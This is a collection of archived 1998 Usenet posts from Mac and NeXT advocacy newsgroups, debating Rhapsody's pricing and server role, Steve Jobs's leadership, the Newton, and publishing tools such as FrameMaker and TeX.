>Small developers? Many are .edu. Others can get by withouth the BSD stuff
>(or can use FreeBSD).
$500 bucks! This is exactly the sort of thing that stopped NeXTStep and
OpenStep catching on. I certainly hope Steve and Apple have learned from past
mistakes. Apple has to price Rhapsody *aggresively* against NT. $500 dollars is
not aggresive; its a joke. Aggresive will be in the ball-park of $150-200 (and
no more), if Apple wants users, even power users, to adopt it and therefore have
developers (large developers) come and support it.
>> Publishing, too, has its uses for a CLI unix (SGML, TeX, Lout, psutils,
>> sed, uniq, &c.) -- and would be very pleased to have it available right
>> alongside the Blue and Yellow Boxes at a competitive workstation-OS
>> price.
>
>How many graphics artists use CLI? SERIOUS graphics artists....
He was not talking of Graphic artists. Publishing is more than graphics. Apple
should look at other aspects of publishing real hard. A nice front end for TeX
would be the perfect place to start. Does this already exist on OpenStep? I
have seen some Windows attempts and Bleech, they really sucked. But with
Display postscript this could be a real option.
>> But who knows? Maybe Apple is thinking, "What we really need now is a
>> greater number of yet smaller niches..."
Sounds too miuch like the definition of a specialist for my liking. (i.e. Know
more and more about less and less until you finally know everything about
nothing).
Tim Priest
From: Avery Ray Colter <avery@ccnet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sat, 25 Apr 1998 01:47:18 -0700
Organization: Verio Northern California's Usenet News Service
Message-ID: <3541A310.39109AE3@ccnet.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net> <01bd6bf9$461bd5e0$15f0bfa8@davidsul>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
NeXT Newbie wrote:
> Oh yeah? Well, um, tell that to the OpenDoc developers...
>
> Geez, the youth of today. So what if Jobs is doing a good job, it doesnt
> matter if he has no integrity and character.
Well, I may be a youth compared to some, but I've owned only Apple machines for
17 years.
I survived through the time I had my IIGS, watching the results of Sculley's
wayward demolitions.
It would take a fair ton of evidence to convince me that Jobs could do anything
as horrid as what Sculley did to us.
> (ClintonGate is making me really silly ;-) )
From disgust? Or from envy? ;) ;) ;)
--
Avery Ray Colter avery@ccnet.com
Voice: (925) 671-8024 FAX: (925) 671-6959
From: "R. Kirk McPike" <rkirkmcp@nkn.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sat, 25 Apr 1998 03:38:20 -0500
Organization: Kirk's Right Wing Militia
Message-ID: <3541A0F8.310E450@nkn.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net>
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> I'll trade for a color Newton any day, if Intel owns my precious chips.
> (At least, that's the rumor. The next family of Newtons will soon have
> color.)
>
Next family? Carl, the Newton got axed. There is no current development for any
*next generation* products. Apple hasn't even agreed to license the thing to
anyone. The chances of the newton making a comeback are slim to none -- Apple
just doesn't have the resources to throw at it's development. I, for one, am
surprised Apple's funding of MkLinux hasn't gotten axed, too.
Kirk
Date: Sat, 25 Apr 1998 07:39:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Message-ID: <joe.ragosta-2504980739300001@elk45.dol.net>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34>
In article <B1669D20-66583@207.217.155.34>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
> >Count the number of Mac developers who make horizontal apps that
> >have publicly embraced Rhapsody. (Small number)
> >Divide by the number of Mac developers who have horizontal apps for
> >the MacOS. (Big Number)
> >
> >
>
> Or you ccould divide by the number of "Top 100" developers who have
> embraced Rhapsody. Oh wait, you can't do that...
Well, let's consider:
The number of developers who have embraced Rhapsody is many times the
number who ever embraced OpenDoc. Yet Rhapsody hasn't even been released
yet and OpenDoc was out for years.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 25 Apr 1998 07:41:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-2504980741430001@elk45.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net>
In article <3541A0F8.310E450@nkn.net>, rkirkmcp@nkn.net wrote:
> > I'll trade for a color Newton any day, if Intel owns my precious chips.
> > (At least, that's the rumor. The next family of Newtons will soon have
> > color.)
> >
>
> Next family? Carl, the Newton got axed. There is no current development
for any
> *next generation* products. Apple hasn't even agreed to license the thing to
> anyone. The chances of the newton making a comeback are slim to none -- Apple
I think he was referring to the rumored "eMac"--which would run some sort
of Mac OS lite. If this beast even exists, it would be the next family of
Newton products.
> just doesn't have the resources to throw at it's development. I, for one, am
> surprised Apple's funding of MkLinux hasn't gotten axed, too.
Unless there's some truth to the rumor that the MkLinux work is somehow
involved with getting Mach3.0 into Rhapsody.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 25 Apr 1998 07:30:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Message-ID: <joe.ragosta-2504980730010001@elk45.dol.net>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net> <35418c24.0@news.camtech.net.au>
In article <35418c24.0@news.camtech.net.au>, "Timothy Priest"
<timothyp@tne.net.au> wrote:
> >In article <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>,
> >bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> >
> >> Joe Ragosta <joe.ragosta@dol.net> wrote:
> >>
> >> > In article <6hnou5$spq$3@newsfep3.sprintmail.com>, macghod@concentric.net
> >> > wrote:
> >>
> >> > > I would suggest if RHapsody is $500 or more a good many people will not
> >> > > buy it. Of course hopefully Rhapsody will only cost about $200
> >> >
> >> > But if Sonata offers all of Rhapsody except the CLI and BSD support, who
> >> > cares?
> >>
> >> The teeming hordes in edu, scitech, and small-d developer circles. :^)
> >> Okay, the numbers aren't huge, but this is the central core of Apple's
> >> core market.
> >
> >But Apple has already stated that .edu customers will get special pricing.
> >As for the Sci-tech people, most of them aren't going to balk at $400-500
> >for an OS. That happens to be the list price for NT, BTW.
> >
> >Small developers? Many are .edu. Others can get by withouth the BSD stuff
> >(or can use FreeBSD).
>
> $500 bucks! This is exactly the sort of thing that stopped NeXTStep and
> OpenStep catching on. I certainly hope Steve and Apple have learned from past
> mistakes. Apple has to price Rhapsody *aggresively* against NT. $500
dollars is
> not aggresive; its a joke. Aggresive will be in the ball-park of
$150-200 (and
No. I wasn't calling this an aggressive price. I was suggesting that a
list price around NT's list price would be reasonable.
> no more), if Apple wants users, even power users, to adopt it and
therefore have
> developers (large developers) come and support it.
Notice that I said "serious Sci-Tech" people.
And what's the list price of NT? Gee--$500.
>
>
> >> Publishing, too, has its uses for a CLI unix (SGML, TeX, Lout, psutils,
> >> sed, uniq, &c.) -- and would be very pleased to have it available right
> >> alongside the Blue and Yellow Boxes at a competitive workstation-OS
> >> price.
> >
> >How many graphics artists use CLI? SERIOUS graphics artists....
>
> He was not talking of Graphic artists. Publishing is more than
graphics. Apple
> should look at other aspects of publishing real hard. A nice front end for TeX
> would be the perfect place to start. Does this already exist on OpenStep? I
> have seen some Windows attempts and Bleech, they really sucked. But with
> Display postscript this could be a real option.
Rhapsody is supposed to have complete access to a CLI as well as a GUI.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.ncr,comp.sys.newton,comp.sys.newton.announce,comp.sys.newton.marketplace,comp.sys.newton.misc,comp.sys.newton.programmer,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.bugs,comp.sys.next.hardware,comp.sys.next.marketplace
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From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 25 Apr 1998 13:31:31 GMT
Organization: P & L Systems
Message-ID: <6hsojj$bll$2@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <34CF6517.1B6E@nstar.net>
<6bfhf2$ad2$1@ns3.vrx.net> <adtEnzKxA.3Ar@netcom.com>
<slrn6e47bo.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <adtEo8tD0.E96@netcom.com>
<6cfpv7$m7j$4@quasar.dimensional.com> <34EC33CE.2CC99899@markelcorp.com>
<forrestDELETE-THIS!-2302982253030001@term4-25.vta.west.net> <6g90l8$3cl$3@quasar.dimensional.com>
<6hf7sf$57p$9@ironhorse.plsys.co.uk> <6hjq1u$gpi$5@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6hjq1u$gpi$5@quasar.dimensional.com> Kenneth R. Kinder wrote:
> In comp.os.linux.advocacy , article <6hf7sf$57p$9@ironhorse.plsys.co.uk> ,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > In <6g90l8$3cl$3@quasar.dimensional.com> Kenneth R. Kinder wrote:
>
> >> Take note that GNUStep and NextStep would have a GUI with the same
> >> architecture...
>
> > No they wouldn't. NextStep != OPENSTEP.
>
> Sigh... same API architecture... happy now?
>
No; they don't have the same API.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 25 Apr 1998 13:30:16 GMT
Organization: P & L Systems
Message-ID: <6hsoh8$bll$1@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <352A6D21.3FC9A99@cisco.com>
<6ggo0q$47c$1@interport.net> <6gm8eo$hom$2@quasar.dimensional.com>
<6gnml2$enm@newsb.netnews.att.com> <6guni2$4m9$5@quasar.dimensional.com>
<6gvi9o$8u$4@ns3.vrx.net> <6has0j$d4f$2@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6has0j$d4f$2@quasar.dimensional.com> Kenneth R. Kinder wrote:
> In comp.os.linux.advocacy , article <6gvi9o$8u$4@ns3.vrx.net> , Maury
Markowitz <maury@remove_this.istar.ca> wrote:
>
> >> Not ATM. Just a protocal-based system. The cable we all have in our
homes
> >> is perfectly capable to support a digital low-bandwidth protocal, which
is
> >> what it should be.
>
> > Oh yeah, great, cable companies providing telephone! Let's see...
>
> Not cable TV, you turkey! Cable... as in that long stretch of copper wire.
>
Usually referred to as a "wire"...
As in "The wire we all have in our homes..."
You can hardly blame Maury for misunderstanding such a clearly misleading
message.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 25 Apr 1998 14:20:14 GMT
Organization: P & L Systems
Message-ID: <6hsreu$bll$3@ironhorse.plsys.co.uk>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu>
<see-below-2204982044230001@209.24.241.227> <353ebd6e.0@news.depaul.edu>
<6hn2h6$57p$23@ironhorse.plsys.co.uk> <6ho6g4$mfv$1@nntp1.ba.best.com>
<6hpj6e$57p$31@ironhorse.plsys.co.uk> <6hqber$jpu$1@nntp1.ba.best.com>
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Cc: jpalmer@-noshpam-best.com
In <6hqber$jpu$1@nntp1.ba.best.com> Joseph Palmer wrote:
> In article <6hpj6e$57p$31@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> >In <6ho6g4$mfv$1@nntp1.ba.best.com> Joseph Palmer wrote:
> >> In article <6hn2h6$57p$23@ironhorse.plsys.co.uk>, mmalcolm crawford
> ><malcolm@plsys.co.uk> wrote:
> >> <SNIP>
> >> >
> >> >(1) I think there are a lot of people out there doing stuff *quietly*,
> >> >because they don't want others to know.
> >>
> >[...]
> >> But it doesn't make sense if the app is a horizontal app, in that case
you
> >> want to push the OS platform as much as you can, in public, in private,
> >> everywhere, even if it might help your competition, because without a
wide
> >> base your business model will fail.
> >>
> >> You do the math.
> >>
> >Umm, what math?
>
> Count the number of Mac developers who make horizontal apps that
> have publicly embraced Rhapsody. (Small number)
> Divide by the number of Mac developers who have horizontal apps for
> the MacOS. (Big Number)
>
Sorry, you've lost me, I don't see your point...?
If it helps, it's my belief that there are a significant number of Mac ISVs
producing vertical apps who are developing Rhapsody version, and who are
keeping stumm.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 25 Apr 1998 14:27:06 GMT
Organization: P & L Systems
Message-ID: <6hsrrq$bll$4@ironhorse.plsys.co.uk>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu>
<see-below-2204982044230001@209.24.241.227> <353ebd6e.0@news.depaul.edu>
<6hn2h6$57p$23@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In comp.sys.next.advocacy Matthew Vaughan wrote:
> But not least, any "major push" will be futile if there aren't any
> applications to speak of. I know there's a small cadre of OpenStep
> developers with good stuff to offer, but I doubt that will be nearly
> enough to sway very many customers. Right now Apple doesn't need to sell
> it to end users so much as they need to sell it to developers.
>
I think this is probably of relevance:
[5] A List of WWDC Rhapsody Sessions
The complete agenda for Apple's Worldwide Developer Conference (WWDC)
is now posted on the WWDC web page. Here's a list of the many
Rhapsody-related sessions designed to help you quickly get up to speed
on this platform:
Rhapsody and Yellow Box in 1998
Yellow Box: AppKit in Depth
Yellow Box: Data Access With Enterprise Objects Framework
Yellow Box: Easily Create Scriptable Software
Yellow Box: Developing for Windows
Yellow Box: The Foundation Kit in Depth
Yellow Box: Development Tools
Yellow in Java
Blue Box: An Overview and Status
Graphics and Imaging for Mac OS and Rhapsody
Rhapsody Core OS Architecture
BSD 4.4 in Rhapsody: Hidden, but Useful
Rhapsody Core OS: Introduction to the I/O Driver Architecture
Rhapsody Core OS: Understanding the File System
Rhapsody Networking and Communications
<http://devworld.apple.com/wwdc98/conference.html>
This says to me at least that there has been significant progress on the
development of Rhapsody and YellowBox since RDR came out -- the "Easily
Create Scriptable Software" session is particularly interesting since that
represents a completely new area of functionality; and "Graphics and Imaging
for Mac OS and Rhapsody" may finally resolve a few long-running issues in
this group.
Best wishes,
mmalc.
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Cryptographic Architecture for Rhapsody and MacOS
Date: 25 Apr 1998 15:22:56 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6hsv4g$16e@ragnarok.en.uunet.de>
References: <893218379.739727@globe.uwaterloo.ca> <ErtGAq.G2K@AWT.NL>
<CBn%.1308$p5.6265523@news.itd.umich.edu> <6hqolk$93i$1@leonie.object-factory.com>
<O7801.1812$p5.8593963@news.itd.umich.edu>
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not@my.address.net wrote:
> >Actually, AFAIR a *public* API is verboten as well.
> >That wouldn't stop anybody from implementing bundles, though. :-)
> >
>
> That's very interesting. I'd like to learn more. Is there anything you can
> point me to? Thanks.
No, it's just that I remember the issue from the discussions when PGP
'plug-ins' for popular MUAs caught on. Maybe someone more up-to-date
on PGP can comment?
Holger
--
hhoff"at"ragnarok.en.uunet.de (NeXTMail, MIME)
'Where I come from it's important to develop stuff that doesn't suck.'
-- David Young <dwy"at"ace.net>
From: ios70@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Amelio interview
Date: Sat, 25 Apr 1998 10:25:46 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6hsv9q$2e7$1@nnrp1.dejanews.com>
References: <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <35418388.0@news.camtech.net.au>
I got this from another newsgroup.
Rose Aguilar meets former CEO - CNET Radio's interview with Gil Amelio
http://www.news.com/Radio/Features/0,155,193,0.html?st.ne.fd.gif.l
Interesting....
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: mwoodbri@xantia.videon.wave.ca (Matthew Woodbridge)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <joe.ragosta-2304981334240001@wil133.dol.net> <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca> <joe.ragosta-2304982050200001@elk70.dol.net>
Message-ID: <slrn6k42m1.42p.mwoodbri@xantia.videon.wave.ca>
Date: Sat, 25 Apr 1998 16:10:36 GMT
NNTP-Posting-Date: Sat, 25 Apr 1998 11:10:36 CDT
Organization: MBnet Networking Inc.
On Thu, 23 Apr 1998 20:50:20 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <1d7xvti.k1mbbwpj1gvgN@p007.intchg3.net.ubc.ca>,
>bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
>
>> Joe Ragosta <joe.ragosta@dol.net> wrote:
>>
>> > In article <6hnou5$spq$3@newsfep3.sprintmail.com>, macghod@concentric.net
>> > wrote:
>>
>> > > I would suggest if RHapsody is $500 or more a good many people will not
>> > > buy it. Of course hopefully Rhapsody will only cost about $200
>> >
>> > But if Sonata offers all of Rhapsody except the CLI and BSD support, who
>> > cares?
>>
>> The teeming hordes in edu, scitech, and small-d developer circles. :^)
>> Okay, the numbers aren't huge, but this is the central core of Apple's
>> core market.
>
>But Apple has already stated that .edu customers will get special pricing.
>As for the Sci-tech people, most of them aren't going to balk at $400-500
>for an OS.
They will if they have to pay $500 for an operating system that has absolutely
no application support for the "sci-tech" community.
In fact, $500 and up is the price range for client and server UNIX
distributions. You may regard Rhapsody as a genuine UNIX varient, but
AIX, Digital UNIX, HP-UX, IRIX and Solaris already have thousands of
scientific, engineering, visualization, etc. applications available to them.
In additon, the hardware that these flavours of UNIX run on is a lot more
powerful than anything that could ever come from Apple, and I'm not just
referring to the processor. Few people mention high-end graphics cards
($10,000 and up) when debating which platform is faster.
One other thing: I don't believe that Rhapsody is going to be 64-bit when
first introduced; AIX, Digital UNIX, HP-UX, IRIX and Solaris already are.
But of course, one requires a 64-bit processor in order to have a 64-bit
operating system. When is a 64-bit PowerPC coming? More importantly,
when is symetric multiprocessing coming for Rhapsody? I think that's
pretty darned important. A pretty half-assed UNIX Rhapsody is, if you
ask me.
Regards,
Matthew
--
Matthew I. Woodbridge --
m w o o d b r i @ t a r d i s . w i s . m b . c a
http://drwho.wis.mb.ca - The Dr. Who Episode Guide
__________________________________________________
I do not find in orthodox Christianity one redeeming feature.
- Thomas Jefferson
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 25 Apr 1998 16:30:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6k43tj.pe0.sal@panix3.panix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net>
On Sat, 25 Apr 1998 07:41:42 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>I think he was referring to the rumored "eMac"--which would run some sort
>of Mac OS lite. If this beast even exists, it would be the next family of
>Newton products.
Next family of "newton-like" products. It won't be a newt and I doubt
it will run newton software. (Any chance of a deep-green box to run Newton
Apps on Rhapsody?)
And the eMac is just a rumor and some doctored photos on web sites. If
Apple couldn't build a $500 newt portible (newtOS has 1/10 the hardware
requirements as MacOS) what makes you so sure that they can build a $500
Mac portible?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 25 Apr 1998 16:36:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6k4491.pe0.sal@panix3.panix.com>
References: <no-2104982333090001@grv230155.columbus.rr.com> <blackstar-2204981924300001@a-206-59.sp.neu.edu> <6hnou5$spq$3@newsfep3.sprintmail.com> <6hpb9k$oh3$10@ha2.rdc1.sdca.home.com> <6hqila$n8p$1@crib.bevc.blacksburg.va.us> <6hqmra$jpk$1@newsfep3.sprintmail.com> <nagleEryE4s.HLD@netcom.com>
On Sat, 25 Apr 1998 05:05:16 GMT, John Nagle <nagle@netcom.com> wrote:
> A modern server probably shouldn't have a display, let alone a GUI.
>You probably want to rackmount the thing and administer it remotely.
Rhapsody can do that just as well as any other Unix. Heck, with PDO
you can do many other things remotly. Like manipulate a running App
from another machine, and it is a lot nicer than some of the other
distributed object systems (IMHO)
And yes, you can run OpenStep without the GUI. Login as console (IIRC)
and the GUI goes away.
>Servers need things like clustering support, hot-plugging, alarms,
>stall timers, and such, none of which Apple has ever done.
I 100% agree. Apple needs to make a deal to provide Rhapsody on real
server hardware.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 25 Apr 1998 16:42:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6k44k2.pe0.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk> <slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu>
On Fri, 24 Apr 1998 10:00:09 -0500, Ivan Tkatchev <tkatchev@cs.purdue.edu> wrote:
>> Of course, C++ code isn't as elegant as APL or Perl...
>Perl.. Ughh, barf...
That was a joke. Perl is ugly, but useful.
And has anyone else ever had to learn/use APL? Now that is a ugly
language. It looks like a language Salvador Dali would design...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 25 Apr 1998 10:01:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16764AD-EB2A@206.165.43.106>
References: <199804242155151973415@sdn-ts-014txhousp14.dialsprint.net>
nntp://news.primenet.com/comp.sys.next.advocacy
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John Bauer <drifterusa@sprintmail.com> said:
> I disagree with how "obvious" the SWAS concept was (has anyone else in
> the computer or consumer electronics industry ever done such a thing?),
> but I do agree that Amelio had a loose grasp of the obvious, as is
> evident by his own admission that he should have fired executives who
> ignored his commands as CEO instead of letting them slide for months.
> Well, duh.
Microsoft. In a smaller way, Nintendo. Lots of consumer electronics
companies pay a premium to stores for special displays. In fact, lots of
consumer ANYTHING companies do this to some extent or another. You don't
think that grocery stores put up those special displays of brand-name items
for free, do you?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 25 Apr 1998 10:04:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1676563-115D2@206.165.43.106>
References: <nagleEryE4s.HLD@netcom.com>
nntp://news.primenet.com/comp.sys.next.advocacy
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John Nagle <nagle@netcom.com> said:
> Servers need things like clustering support, hot-plugging, alarms,
> stall timers, and such, none of which Apple has ever done.
>
I thought that their AUX line of servers did all that, and really well. Was
I wrong?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Words on Rhapsody as a Server OS
Date: 25 Apr 1998 10:05:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16765CD-12EA9@206.165.43.106>
References: <35418c24.0@news.camtech.net.au>
nntp://news.primenet.com/comp.sys.next.advocacy
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Timothy Priest <timothyp@tne.net.au> said:
> He was not talking of Graphic artists. Publishing is more than graphics.
> Apple
> should look at other aspects of publishing real hard. A nice front end
for
> TeX
> would be the perfect place to start. Does this already exist on
OpenStep? I
> have seen some Windows attempts and Bleech, they really sucked. But
> with
> Display postscript this could be a real option.
GXTeX exists. Don't know how user-friendly it is, but it is available. It
even includes GX-oriented extensions, from what I recall from the PR.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: SnowSim@halcyon.com (Simulated Snow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sat, 25 Apr 1998 09:36:15 -0700
Organization: Baloney Research Institute
Message-ID: <SnowSim-2504980936150001@blv-ux100-ip34.nwnexus.net>
References: <199801202218001457904@ppp8.hol.fr> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com> <6gm8ou$hom$4@quasar.dimensional.com> <6gq9kh$oop$22@ironhorse.plsys.co.uk> <6gunnn$4m9$6@quasar.dimensional.com> <6hg009$57p$10@ironhorse.plsys.co.uk> <slrn6jo9po.q17.sal@panix3.panix.com> <3540A8F9.3D04B398@cs.purdue.edu>
In article <3540A8F9.3D04B398@cs.purdue.edu>, Ivan Tkatchev
<tkatchev@cs.purdue.edu> wrote:
> > Of course, C++ code isn't as elegant as APL or Perl...
> >
>
> Perl.. Ughh, barf...
miss the air sickness bag there did you ?
damn site better language than C++ will ever come close to
just not for the sheep I suppose...
TAMTOWTDI
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Newsgroups: comp.sys.next.advocacy
Subject: Re: but what about FrameMaker?
Date: 25 Apr 1998 16:02:14 GMT
Organization: Frankfurt University Computing Center
Message-ID: <6ht1e6$343@tallowcross.uni-frankfurt.de>
References: <6ho20l$8gj@tallowcross.uni-frankfurt.de> <6hoa4m$p96$1@xmission.xmission.com>
Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote:
> Uli Zappe <uli@tallowcross.uni-frankfurt.de> wrote:
> : Don't get me wrong: The FrameMaker/NEXTSTEP GUI is *awful*. I don't want
> : *this* kind of FrameMaker on Rhapsody. But I think it's absolutely
> : crucial to have a high-end app for writing books, documentation etc.
>
> It's just as bad as all the other versions. =) And I would settle for that
> UI, plus the 5.1.1 deltas over the 3.2 version that was last shipped.
I certainly wouldn't. NEXTSTEP/Rhapsody, more than any other OS, needs a GUI
tailored to its advantages.
If FrameMaker GUIs are that bad all across the different OS's, then it should
be compelling to start changing this even more ;-)
